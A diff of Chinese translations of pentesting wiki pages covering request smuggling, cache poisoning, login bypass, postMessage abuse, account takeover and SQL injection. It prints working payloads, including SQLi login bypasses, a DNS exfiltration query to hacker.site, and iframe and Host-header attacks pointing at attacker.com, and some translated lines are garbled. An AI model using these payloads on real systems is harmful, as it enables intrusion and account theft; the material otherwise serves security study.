之前,我们观察到如何改变服务器响应以返回 404 错误(参见 [Basic Examples](#basic-examples))。同样,可以欺骗服务器以响应对 `/static/include.js` 的请求而提供 `/index.html` 内容。因此,`/static/include.js` 的内容在缓存中被替换为 `/index.html` 的内容,使得 `/static/include.js` 对用户不可访问可能导致服务拒绝DoS
如果发现 **开放重定向漏洞** 或者存在 **指向开放重定向的站内重定向**,这种技术变得特别强大。这些漏洞可以被利用来将 `/static/include.js` 的缓存内容替换为攻击者控制的脚本,从而实质上使所有请求更新的 `/static/include.js` 的客户端面临广泛的跨站脚本XSS攻击。
@ -498,14 +490,14 @@ x=1
随后,任何对 `/static/include.js` 的请求将提供攻击者脚本的缓存内容,有效地发起广泛的 XSS 攻击。
### 使用 HTTP request smuggling 行 web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
### 使用 HTTP request smuggling 行 web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
> **web cache poisoning 和 web cache deception 之间有什么区别?**
>
> - 在 **web cache poisoning** 中,攻击者使应用程序在缓存中存储一些恶意内容,并且这些内容从缓存中提供给其他应用程序用户。
> - 在 **web cache deception** 中,攻击者使应用程序在缓存中存储属于另一个用户的一些敏感内容,然后攻击者从缓存中检索这些内容。
攻击者构造一个走私请求,以获取敏感的用户特定内容。考虑以下示例:
攻击者构造一个偷渡请求,以获取敏感的用户特定内容。考虑以下示例:
```markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -516,7 +508,7 @@ x=1
`GET /private/messages HTTP/1.1`\
`Foo: X`
```
如果这个走私请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
如果这个走私请求污染了用于静态内容的缓存条目(例如,`/someimage.png`),那么受害者在`/private/messages`中的敏感数据可能会被缓存到静态内容的缓存条目下。因此,攻击者可能会检索到这些缓存的敏感数据。
### 通过 HTTP 请求走私滥用 TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -526,7 +518,7 @@ TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>
```
请发送一个响应,例如:
请发送您的内容,我将为您翻译。
```
HTTP/1.1 200 OK
Content-Type: message/http
@ -537,13 +529,13 @@ Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx
```
一个滥用这种行为的例子是**首先伪装一个HEAD请求**。该请求将仅以GET请求的**头部**进行响应(**`Content-Type`**在其中。然后立即在HEAD请求后伪装一个TRACE请求将**反射发送的数据**。\
由于HEAD响应将包含一个`Content-Length`**TRACE请求的响应将被视为HEAD响应的主体因此在响应中反射任意数据**。\
该响应将被发送到连接上的下一个请求,因此这可以**用于缓存的JS文件例如注入任意JS代码**。
一个滥用这种行为的例子是**首先伪装一个HEAD请求**。该请求将仅以GET请求的**头部**进行响应(其中包括**`Content-Type`**)。然后立即伪装**一个TRACE请求**,该请求将**反射发送的数据**。\
由于HEAD响应将包含一个`Content-Length`头,**TRACE请求的响应将被视为HEAD响应的主体因此在响应中反射任意数据**。\
该响应将被发送到连接上的下一个请求,因此这可以**用于缓存的JS文件例如注入任意JS代码**。
### 通过HTTP响应拆分滥用TRACE <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。如评论所述伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头中指示并由TRACE请求的响应形成。
继续关注[**这篇文章**](https://portswigger.net/research/trace-desync-attack)建议另一种滥用TRACE方法的方式。如评论所述伪装一个HEAD请求和一个TRACE请求可以**控制HEAD请求响应中的一些反射数据**。HEAD请求主体的长度基本上在Content-Length头中指示并由TRACE请求的响应形成。
因此新的想法是知道这个Content-Length和TRACE响应中给出的数据可以使TRACE响应在Content-Length的最后一个字节之后包含一个有效的HTTP响应从而允许攻击者完全控制下一个响应的请求这可以用于执行缓存中毒
@ -566,7 +558,7 @@ Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
```
将生成这些响应注意HEAD响应具有Content-Length使得TRACE响应成为HEAD主体的一部分一旦HEAD Content-Length结束一个有效的HTTP响应被走私
将生成这些响应注意HEAD响应具有Content-Length使得TRACE响应成为HEAD主体的一部分一旦HEAD Content-Length结束就会走私一个有效的HTTP响应
```
HTTP/1.1 200 OK
Content-Type: text/html
@ -587,7 +579,7 @@ Content-Length: 50
<script>alert(arbitrary response)</script>
```
### 利用 HTTP 响应不同步进行 HTTP 请求走私
### 武器化 HTTP 请求走私与 HTTP 响应不同步
您是否发现了一些 HTTP 请求走私漏洞,但不知道如何利用它?尝试这些其他的利用方法:

View File

@ -4,28 +4,28 @@
## **绕过常规登录**
如果你发现了一个登录页面,这里有一些技术可以尝试绕过它:
如果你发现了一个登录页面,这里有一些可以尝试绕过它的技术
- 检查页面内的 **评论**(向下滚动并向右?)
- 检查是否可以 **直接访问受限页面**
- 检查 **不发送参数**不发送任何或仅发送1个
- 检查 **PHP 比较错误:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **将内容类型更改为 json** 并发送 json 值(包括 bool true
- 如果你收到一个响应,表示不支持 POST,你可以尝试以 **GET 请求发送 JSON 到主体**,并设置 `Content-Type: application/json`
- **将内容类型更改为 json** 并发送 json 值(包括布尔值 true
- 如果你收到一条说 POST 不被支持的响应,你可以尝试以 **GET 请求发送 JSON 到主体**,并设置 `Content-Type: application/json`
- 检查 nodejs 潜在的解析错误(阅读 [**这个**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4) `password[password]=1`
- Nodejs 会将该有效负载转换为类似以下的查询: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这使得密码位始终为真。
- 如果你可以发送 JSON 对象,你可以发送 `"password":{"password": 1}` 来绕过登录。
- 记住,要绕过此登录,你仍然需要 **知道并发送有效的用户名**
- **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止所有意外行为,当 `Object` 被传递** 在参数中
- **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止在参数中传递 `Object` 时的所有意外行为**
- 检查凭据:
- [**默认凭据**](../../generic-hacking/brute-force.md#default-credentials) 的技术/平台
- **常见组合**root, admin, password, 技术名称, 默认用户与这些密码之一)。
- 使用 **Cewl** 创建字典,**添加** 默认用户名和密码(如果有),并尝试使用所有单词作为 **用户名和密码** 进行暴力破解
- 使用 **Cewl** 创建字典,**添加** 默认用户名和密码(如果有的话),并尝试使用所有单词作为 **用户名和密码** 进行暴力破解
- **暴力破解** 使用更大的 **字典 (**[**暴力破解**](../../generic-hacking/brute-force.md#http-post-form)**)**
### SQL 注入认证绕过
[这里你可以找到几种通过 **SQL 注入** 绕过登录的技巧](../sql-injection/#authentication-bypass)。
[这里你可以找到几种通过 **SQL 注入** 绕过登录的技巧](../sql-injection/index.html#authentication-bypass)。
在以下页面中,你可以找到一个 **自定义列表以尝试通过 SQL 注入绕过登录**
@ -59,7 +59,7 @@ admin' or '1'='2
```
### LDAP 注入认证绕过
[在这里可以找到几种通过 **LDAP 注入** 绕过登录的技巧。](../ldap-injection.md#login-bypass)
[在这里可以找到几种通过 **LDAP 注入** 绕过登录的技巧。](../ldap-injection.md#login-bypass)
```
*
*)(&
@ -75,18 +75,18 @@ admin))(|(|
```
### 记住我
如果页面有 "**记住我**" 功能,请检查其实现方式,看看是否可以利用它来 **接管其他账户**
如果页面有“**记住我**”功能,请检查其实现方式,并查看您是否可以利用它来**接管其他账户**
### 重定向
页面通常在登录后会重定向用户,请检查是否可以更改该重定向以导致 [**开放重定向**](../open-redirect.md)。如果将用户重定向到您的网站您可能会窃取一些信息代码、cookie...)。
页面通常在登录后会重定向用户,请检查是否可以更改该重定向以导致[**开放重定向**](../open-redirect.md)。如果将用户重定向到您的网站您可能会窃取一些信息代码、cookie...)。
## 其他检查
- 检查是否可以通过登录功能 **枚举用户名**
- 检查密码/**敏感**信息 **表单** **输入** 中是否启用了 **自动完成**`<input autocomplete="false">`
- 检查是否可以通过登录功能**枚举用户名**。
- 检查密码/**敏感**信息**表单**的**自动完成**是否处于活动状态`<input autocomplete="false">`
## 自动工具
## 自动工具
- [HTLogin](https://github.com/akinerkisa/HTLogin)

View File

@ -33,12 +33,12 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
注意,**targetOrigin** 可以是 '\*' 或像 _https://company.com._ 的 URL。\
**第二种情况** **消息只能发送到该域**(即使窗口对象的来源不同)。\
**第二种情况** **消息只能发送到该域**(即使窗口对象的来源不同)。\
如果使用 **通配符****消息可以发送到任何域**,并将发送到窗口对象的来源。
### 攻击 iframe 和 **targetOrigin** 中的通配符
正如在 [**这份报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) 中所解释的,如果你发现一个可以被 **iframed** 的页面(没有 `X-Frame-Header` 保护)并且该页面通过 **postMessage** 使用 **通配符** (\*) 发送 **敏感** 消息,你可以 **修改** **iframe****来源** 并将 **敏感** 消息泄露到你控制的域。\
正如在 [**这份报告**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) 中所解释的,如果你发现一个可以被 **iframed** 的页面(没有 `X-Frame-Header` 保护)并且该页面通过 **postMessage** 使用 **通配符** (\*) 发送 **敏感** 消息,你可以 **修改** **iframe****来源** 并将 **敏感** 消息 **泄露** 一个由你控制的域。\
请注意,如果页面可以被 iframed**targetOrigin****设置为一个 URL 而不是通配符**,这个 **技巧将不起作用**
```markup
<html>
@ -56,7 +56,7 @@ window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
```
## addEventListener 利用
**`addEventListener`** 是 JS 用声明 **期望 `postMessages`** 的函数。\
**`addEventListener`** 是 JS 用声明 **期望 `postMessages`** 的函数。\
将使用类似以下的代码:
```javascript
window.addEventListener(
@ -80,7 +80,7 @@ false
![](<../../images/image (618) (1).png>)
- **在** 浏览器的开发者工具中**转到** _Elements --> Event Listeners_
- **在** 浏览器的开发者工具中,转到 _Elements --> Event Listeners_
![](<../../images/image (396).png>)
@ -102,7 +102,7 @@ false
```
- **`match()`** 函数与 `search()` 类似,处理正则表达式。如果正则表达式结构不当,可能容易被绕过。
- **`escapeHtml`** 函数旨在通过转义字符来清理输入。然而,它并不创建一个新的转义对象,而是覆盖现有对象的属性。这种行为可被利用。特别是,如果一个对象可以被操控,使其受控属性不承认 `hasOwnProperty`,则 `escapeHtml` 将无法按预期执行。以下示例演示了这一点:
- **`escapeHtml`** 函数旨在通过转义字符来清理输入。然而,它并不创建一个新的转义对象,而是覆盖现有对象的属性。这种行为可被利用。特别是,如果一个对象可以被操控,使其受控属性不承认 `hasOwnProperty`,则 `escapeHtml` 将无法按预期执行。以下示例演示了这一点:
- 预期失败:
@ -126,11 +126,11 @@ result.message // "'"<b>\"
### e.origin == window.origin 绕过
在使用 %%%%%% 嵌入一个**沙箱 iframe** 时,必须理解 iframe 的来源将被设置为 null。这在处理**沙箱属性**及其对安全性和功能的影响时尤为重要。
在使用 %%%%%% 嵌入网页时,理解 iframe 的来源将被设置为 null 是至关重要的。这在处理**沙箱属性**及其对安全性和功能的影响时尤为重要。
通过在沙箱属性中指定 **`allow-popups`**,从 iframe 内部打开的任何弹出窗口都继承其父级的沙箱限制。这意味着,除非还包括 **`allow-popups-to-escape-sandbox`** 属性,否则弹出窗口的来源也被设置为 `null`,与 iframe 的来源一致。
因此,当在这些条件下打开弹出窗口并使用 **`postMessage`** 从 iframe 向弹出窗口发送消息时,发送和接收端的来源都被设置为 `null`。这种情况导致 **`e.origin == window.origin`** 评估为 true (`null == null`),因为 iframe 和弹出窗口共享相同的来源值 `null`
因此,当在这些条件下打开弹出窗口并使用 **`postMessage`** 从 iframe 向弹出窗口发送消息时,发送和接收端的来源都被设置为 `null`。这种情况导致 **`e.origin == window.origin`** 评估为 true`null == null`,因为 iframe 和弹出窗口共享相同的来源值 `null`
有关更多信息**请阅读**
@ -157,7 +157,7 @@ bypassing-sop-with-iframes-2.md
### X-Frame-Header 绕过
为了理想地执行这些攻击,您将能够**将受害者网页**放入一个`iframe`中。但一些头部如`X-Frame-Header`可以**阻止**这种**行为**。\
为了理想地执行这些攻击,您将能够**将受害者网页**放入一个`iframe`中。但一些头部`X-Frame-Header`可以**阻止**这种**行为**。\
在这些情况下,您仍然可以使用一种不太隐蔽的攻击。您可以打开一个新标签页,访问易受攻击的网络应用程序并与之通信:
```markup
<script>
@ -167,27 +167,27 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### 通过阻止主页面窃取发送给子页面的消息
在以下页面中,您可以看到如何通过在发送数据之前**阻止**主页面来窃取发送给**子iframe**的**敏感postmessage数据**,并利用**子页面中的XSS**在数据被接收之前**泄露数据**
在以下页面中,您可以看到如何通过在发送数据之前**阻止**主页面来窃取发送给**子 iframe**的**敏感 postmessage 数据**,并利用**子 iframe 中的 XSS**在数据被接收之前**泄露数据**
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### 通过修改iframe位置窃取消息
### 通过修改 iframe 位置窃取消息
如果您可以在没有X-Frame-Header的网页中嵌入一个包含另一个iframe的页面您可以**更改该子iframe的位置**,因此如果它接收使用**通配符**发送的**postmessage**,攻击者可以**更改**该iframe的**源**为一个**由他控制**的页面并**窃取**消息:
如果您可以在没有 X-Frame-Header 的网页中嵌入一个包含另一个 iframe 的页面,您可以**更改该子 iframe 的位置**,因此如果它接收使用**通配符**发送的**postmessage**,攻击者可以**更改**该 iframe 的**源**为一个**由他控制**的页面并**窃取**消息:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage导致原型污染和/或XSS
### postMessage 导致原型污染和/或 XSS
在通过`postMessage`发送的数据被JS执行的场景中您可以**嵌入**该**页面**并**利用**通过`postMessage`发送的**原型污染/XSS**进行攻击
在通过 `postMessage` 发送的数据被 JS 执行的场景中,您可以**嵌入**该**页面**并**利用**原型污染/XSS通过 `postMessage` 发送漏洞
一些**通过`postMessage`非常好解释的XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
一些**通过 `postMessage` 解释得非常好的 XSS**可以在 [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) 找到。
通过`postMessage``iframe`进行**原型污染然后XSS**的攻击示例:
通过 `postMessage``iframe` 进行原型污染和 XSS 的攻击示例:
```html
<html>
<body>
@ -216,7 +216,7 @@ setTimeout(get_code, 2000)
- 链接到关于[**原型污染**](../deserialization/nodejs-proto-prototype-pollution/)的页面
- 链接到关于[**XSS**](../xss-cross-site-scripting/)的页面
- 链接到关于[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)的页面
- 链接到关于[**客户端原型污染到XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)的页面
## 参考文献

View File

@ -10,11 +10,11 @@
```javascript
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
```
如果他这样做,他可以发送一个 **postmessage**,其中包含将被写入页面的 HTML 内容,使用 **`innerHTML`** 而不进行清理 (**XSS**)。
如果他这样做,他可以发送一个 **postmessage**,其中包含将通过 **`innerHTML`** 写入页面的 HTML 内容,而不进行清理 (**XSS**)。
绕过 **第一个检查** 的方法是将 **`window.calc.contentWindow`** 设置为 **`undefined`**,并将 **`e.source`** 设置为 **`null`**
- **`window.calc.contentWindow`** 实际上是 **`document.getElementById("calc")`**。你可以用 **`<img name=getElementById />`** 来覆盖 **`document.getElementById`**请注意Sanitizer API -[here](https://wicg.github.io/sanitizer-api/#dom-clobbering)- 在其默认状态下未配置以防止 DOM 覆盖攻击)。
- **`window.calc.contentWindow`** 实际上是 **`document.getElementById("calc")`**。你可以用 **`<img name=getElementById />`** 来覆盖 **`document.getElementById`**请注意Sanitizer API -[here](https://wicg.github.io/sanitizer-api/index.html#dom-clobbering)- 在其默认状态下未配置以防止 DOM 覆盖攻击)。
- 因此,你可以用 **`<img name=getElementById /><div id=calc></div>`** 来覆盖 **`document.getElementById("calc")`**。然后,**`window.calc`** 将是 **`undefined`**。
- 现在,我们需要 **`e.source`** 为 **`undefined`** 或 **`null`**(因为使用的是 `==` 而不是 `===`**`null == undefined`** 为 **`True`**)。实现这一点是“简单”的。如果你创建一个 **iframe** 并从中 **发送** 一个 **postMessage**,然后立即 **移除** 该 iframe**`e.origin`** 将变为 **`null`**。检查以下代码
```javascript
@ -28,7 +28,7 @@ document.body.removeChild(iframe) //e.origin === null
为了绕过关于令牌的**第二个检查**,可以发送值为`null`的**`token`**并使**`window.token`**的值为**`undefined`**
- 在postMessage中发送值为`null``token`是微不足道的。
- **`window.token`**在调用使用**`document.cookie`**的函数**`getCookie`**。请注意,在**`null`**源页面对**`document.cookie`**的任何访问都会触发**错误**。这将使**`window.token`**的值为**`undefined`**。
- **`window.token`**在调用使用**`document.cookie`**的函数**`getCookie`**。请注意,在**`null`**源页面对**`document.cookie`**的任何访问都会触发**错误**。这将使**`window.token`**的值为**`undefined`**。
最终解决方案由[**@terjanq**](https://twitter.com/terjanq)提供,见[**以下**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)
```html

View File

@ -6,19 +6,19 @@
### 重复注册
- 尝试使用现有用户名生成
- 尝试使用已存在的用户名生成
- 检查不同的电子邮件:
- 大写字母
- \+1@
- 在电子邮件中添加一些点
- 电子邮件名称中的特殊字符 (%00, %09, %20)
- 在电子邮件后放置黑色字符:`test@test.com a`
- 在电子邮件后放置黑色字符: `test@test.com a`
- victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
### 用户名枚举
检查您是否可以确定用户名是否已在应用程序中注册。
检查您是否可以判断用户名是否已在应用程序中注册。
### 密码策略
@ -27,7 +27,7 @@
### SQL 注入
[**查看此页面**](sql-injection/#insert-statement)以了解如何尝试账户接管或通过**SQL 注入**在注册表单中提取信息。
[**查看此页面**](sql-injection/index.html#insert-statement)以了解如何通过 **SQL 注入** 在注册表单中尝试账户接管或提取信息。
### Oauth 接管
@ -43,11 +43,11 @@ saml-attacks/
### 更改电子邮件
注册后尝试更改电子邮件,并检查此更改是否正确验证或是否可以更改为任意电子邮件。
注册后尝试更改电子邮件,并检查此更改是否经过正确验证或是否可以更改为任意电子邮件。
### 更多检查
- 检查是否可以使用**一次性电子邮件**
- 检查是否可以使用 **一次性电子邮件**
- **长** **密码** (>200) 导致 **DoS**
- **检查账户创建的速率限制**
- 使用 username@**burp_collab**.net 并分析 **回调**
@ -66,10 +66,10 @@ saml-attacks/
### 密码重置中毒 <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. 在 Burp Suite 中拦截密码重置请求
2. 在 Burp Suite 中添加或编辑以下头部:`Host: attacker.com``X-Forwarded-Host: attacker.com`
3. 转发带有修改头部的请求\
2. 在 Burp Suite 中添加或编辑以下头部: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. 使用修改后的头部转发请求\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. 查找基于 _host 头_ 的密码重置 URL例如`https://attacker.com/reset-password.php?token=TOKEN`
4. 查找基于 _host 头_ 的密码重置 URL例如 `https://attacker.com/reset-password.php?token=TOKEN`
### 通过电子邮件参数重置密码 <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```powershell
@ -92,7 +92,7 @@ email=victim@mail.com|hacker@mail.com
1. 攻击者必须使用他们的账户登录并进入**更改密码**功能。
2. 启动Burp Suite并拦截请求
3. 将其发送到重复器选项卡并编辑参数用户ID/电子邮件\
3. 将其发送到重复器标签并编辑参数用户ID/电子邮件\
`powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})`
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
@ -102,7 +102,7 @@ email=victim@mail.com|hacker@mail.com
- 时间戳
- 用户ID
- 用户电子邮件
- 用户电子邮件
- 名字和姓氏
- 出生日期
- 加密
@ -129,7 +129,7 @@ email=victim@mail.com|hacker@mail.com
### Account Takeover Via Cross Site Scripting <a href="#account-takeover-via-cross-site-scripting" id="account-takeover-via-cross-site-scripting"></a>
1. 在应用程序或子域中找到XSS如果cookies的作用域是父域:`*.domain.com`
1. 在应用程序或子域中找到XSS如果cookie的作用域为父域:`*.domain.com`
2. 泄露当前**会话cookie**
3. 使用cookie作为用户进行身份验证
@ -138,8 +138,8 @@ email=victim@mail.com|hacker@mail.com
1\. 使用**smuggler**检测HTTP请求走私的类型CL, TE, CL.TE\
`powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\
2\. 构造一个请求,该请求将用以下数据覆盖`POST / HTTP/1.1`\
`GET http://something.burpcollaborator.net HTTP/1.1 X:`目的是将受害者重定向到burpcollab并窃取他们的cookies\
3\. 最终请求可能看起来如下
`GET http://something.burpcollaborator.net HTTP/1.1 X:`目的是将受害者重定向到burpcollab并窃取他们的cookie\
3\. 最终请求可能看起来像以下内容
```
GET / HTTP/1.1
Transfer-Encoding: chunked

View File

@ -4,7 +4,7 @@
## 什么是 SQL 注入?
**SQL 注入**是一种安全漏洞,允许攻击者**干扰应用程序的数据库查询**。此漏洞使攻击者能够**查看**、**修改**或**删除**他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致应用程序功能或内容的永久性更改,甚至可能导致服务器的泄露或服务拒绝。
**SQL 注入**是一种安全漏洞,允许攻击者**干扰应用程序的数据库查询**。这种漏洞可以使攻击者**查看**、**修改**或**删除**他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致应用程序功能或内容的永久性更改,甚至可能导致服务器的泄露或服务拒绝。
## 入口点检测
@ -23,7 +23,7 @@
```
然后,您需要知道如何**修复查询以避免错误**。为了修复查询,您可以**输入**数据,以便**先前的查询接受新数据**,或者您可以直接**输入**您的数据并**在末尾添加注释符号**。
_请注意如果您能看到错误消息或在查询正常工作与不正常工作时能发现差异这个阶段将会更容易。_
_请注意如果您能看到错误消息或能够发现查询正常工作与不正常工作时的差异这个阶段将会更容易。_
### **注释**
```sql
@ -53,7 +53,7 @@ HQL does not support comments
```
### 使用逻辑运算进行确认
确认 SQL 注入漏洞的可靠方法涉及执行 **逻辑运算** 并观察预期结果。例如,当 GET 参数 `?username=Peter` 修改为 `?username=Peter' or '1'='1` 时,如果返回相同的内容,则表明存在 SQL 注入漏洞。
确认 SQL 注入漏洞的可靠方法执行 **逻辑运算** 并观察预期结果。例如,当 GET 参数 `?username=Peter` 修改为 `?username=Peter' or '1'='1` 时,如果返回相同的内容,则表明存在 SQL 注入漏洞。
同样,应用 **数学运算** 作为有效的确认技术。例如,如果访问 `?id=1``?id=2-1` 产生相同的结果,则表明存在 SQL 注入。
@ -68,9 +68,9 @@ page.asp?id=1 and 1=2 -- results in false
{% file src="../../images/sqli-logic.txt" %}
### 通过时间确认
### 使用时间确认
在某些情况下,您**不会注意到任何变化**在您正在测试的页面上。因此,发现盲注入的一个好方法是让数据库执行操作,并对页面加载所需的**时间**产生影响。\
在某些情况下,您**不会注意到页面的任何变化**。因此,发现盲注入的一个好方法是让数据库执行操作,并对页面加载所需的**时间产生影响**。\
因此我们将在SQL查询中连接一个需要很长时间才能完成的操作
```
MySQL (string concat and logical ops)
@ -170,11 +170,11 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
```
_您应该使用 `null` 值,因为在某些情况下,查询两侧列类型必须相同,而 null 在每种情况下都是有效的。_
_您应该使用 `null` 值,因为在某些情况下,查询两侧列类型必须相同,而 null 在每种情况下都是有效的。_
### 提取数据库名称、表名称和列名称
在接下来的示例中,我们将检索所有数据库的名称、数据库的表名称、表的列名称:
在接下来的示例中,我们将检索所有数据库的名称、一个数据库的表名称、表的列名称:
```sql
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
@ -185,15 +185,15 @@ _您应该使用 `null` 值,因为在某些情况下,查询两侧的列类
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
```
_每个不同的数据库都有不同的方法来发现这些数据但方法论始终相同。_
_在每个不同的数据库中发现这些数据的方法各不相同但方法论始终相同。_
## 利用隐藏的基于联合的注入
当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。
当查询的输出可见,但基于联合的注入似乎无法实现时,这表明存在**隐藏的基于联合的注入**。这种情况通常会导致盲注入的情况。要将盲注入转变为基于联合的注入,需要识别后端的执行查询。
这可以通过使用盲注入技术以及特定于目标数据库管理系统DBMS的默认表来实现。为了理解这些默认表建议查阅目标DBMS的文档。
一旦提取了查询,就需要调整你的有效载荷以安全地关闭原始查询。随后,将一个联合查询附加到你的有效载荷,从而利用新可访问的基于联合的注入。
一旦提取了查询,就需要调整你的有效载荷以安全地关闭原始查询。随后,将一个联合查询附加到你的有效载荷,从而利用新可访问的基于联合的注入。
有关更全面的见解,请参阅完整文章 [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f)。
@ -213,13 +213,13 @@ _每个不同的数据库都有不同的方法来发现这些数据但方法
```
## 利用错误盲注
是**与之前相同的情况**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否可能是因为HTTP服务器崩溃。因此在这种情况下每次正确猜测字符时您可以强制产生一个SQL错误
这与之前的**情况相同**,但不是区分查询的真/假响应,而是可以**区分**SQL查询中的**错误**与否可能是因为HTTP服务器崩溃。因此在这种情况下每次正确猜测字符时您可以强制产生SQL错误
```sql
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
```
## 利用基于时间的 SQLi
在这种情况下,**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是,如果猜测的字符是正确的,您可以使页面**加载时间更长**。我们之前已经看到过这种技术用于 [确认 SQLi 漏洞](./#confirming-with-timing)。
在这种情况下,**没有**任何方法可以根据页面的上下文来**区分**查询的**响应**。但是,如果猜测的字符是正确的,您可以使页面**加载时间更长**。我们已经在之前看到过这种技术用于 [确认 SQLi 漏洞](#confirming-with-timing)。
```sql
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
```
@ -227,11 +227,11 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
您可以使用堆叠查询来**连续执行多个查询**。请注意,尽管后续查询会被执行,但**结果**不会**返回给应用程序**。因此,这种技术主要用于与**盲漏洞**相关的情况在这种情况下您可以使用第二个查询触发DNS查找、条件错误或时间延迟。
**Oracle**不支持**堆叠查询**。**MySQL、Microsoft**和**PostgreSQL**支持它们:`QUERY-1-HERE; QUERY-2-HERE`
**Oracle** 不支持 **堆叠查询**。**MySQL、Microsoft** **PostgreSQL** 支持它们:`QUERY-1-HERE; QUERY-2-HERE`
## Out of band Exploitation
如果**没有其他**利用方法**有效**,您可以尝试使**数据库将信息外泄**到您控制的**外部主机**。例如通过DNS查询
如果**没有其他**利用方法**有效**,您可以尝试使**数据库将**信息外泄到您控制的**外部主机**。例如通过DNS查询
```sql
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
```
@ -304,11 +304,11 @@ print r.text
```sql
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```
## 插入语句
## Insert Statement
### 修改现有对象/用户的密码
为此,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**修改某些内容:
为此,您应该尝试**创建一个名为“主对象”的新对象**(在用户的情况下可能是**admin**修改某些内容:
- 创建名为:**AdMIn**(大小写字母)
- 创建名为:**admin=**
@ -316,13 +316,13 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
#### SQL 截断攻击
如果数据库存在漏洞并且用户名的最大字符数例如为30而您想要冒充用户**admin**请尝试创建一个名为“_admin \[30个空格] a_”的用户名和任密码。
如果数据库存在漏洞并且用户名的最大字符数例如为30而您想要冒充用户**admin**请尝试创建一个名为“_admin \[30个空格] a_”的用户名和任密码。
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**最大允许字符数**在这种情况下为“_admin \[25个空格]_”然后它将**自动删除末尾的所有空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
数据库将**检查**输入的**用户名**是否**存在**于数据库中。如果**不存在**,它将**截断****用户名**到**允许的最大字符数**在这种情况下为“_admin \[25个空格]_”然后它将**自动删除末尾的所有空格**,在数据库中更新用户“**admin**”的**新密码**(可能会出现一些错误,但这并不意味着这没有成功)。
